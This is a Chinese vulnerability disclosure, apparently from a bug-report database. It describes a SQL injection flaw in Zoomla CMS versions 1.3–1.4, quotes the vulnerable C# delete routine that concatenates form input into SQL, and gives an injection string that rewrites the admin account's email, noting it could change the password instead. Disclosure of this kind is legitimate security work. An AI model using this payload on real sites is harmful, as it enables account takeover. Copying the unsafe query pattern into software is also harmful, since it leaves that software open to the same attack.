逐浪CMS SQL Update/CMS2 V1.3 V1.4...

- AV AC AU C I A
发布： 2025-04-13
修订： 2025-04-13

### 简要描述： 话说 上次提交直接给忽略 那只好拿官方Demo做测试 另外此洞在2008年就已经存在 ### 详细说明： 此问题为UPdate类型 文件 /user/usershop/StockList.aspx 问题参数 Item 问题代码如下 ``` protected void Button3_Click(object sender, EventArgs e) { string text = base.Request.Form["Item"]; if (!string.IsNullOrEmpty(text) && this.bll.delstock(text))------------------此处 { base.Response.Write("<script language=javascript>alert('批量删除成功!');location.href='StockManage.aspx';</script>"); return; } base.Response.Write("<script language=javascript>alert('批量删除失败!请选择您要删除的数据');location.href='StockManage.aspx';</script>"); } public bool delstock(string str) { string strSql = "delete from ZL_UserStock where (id in (" + str + "))"; return SqlHelper.ExecuteSql(strSql, null); } ``` 构造参数 ``` 0))update ZL_User set Email='wooyun' where username='admin'-- //修改用户email YY此处可以更改为修改管理员密码 ``` 过程 登陆后访问 http://demo.zoomla.cn/user/usershop/stocklist.aspx?Stocktype=1&a=aaa&id=111 firebug修改页面<table>内容 图： [<img...

0%

漏洞利用/PoC

暂无可用Exp或PoC

受影响的平台与产品

当前有0条受影响产品信息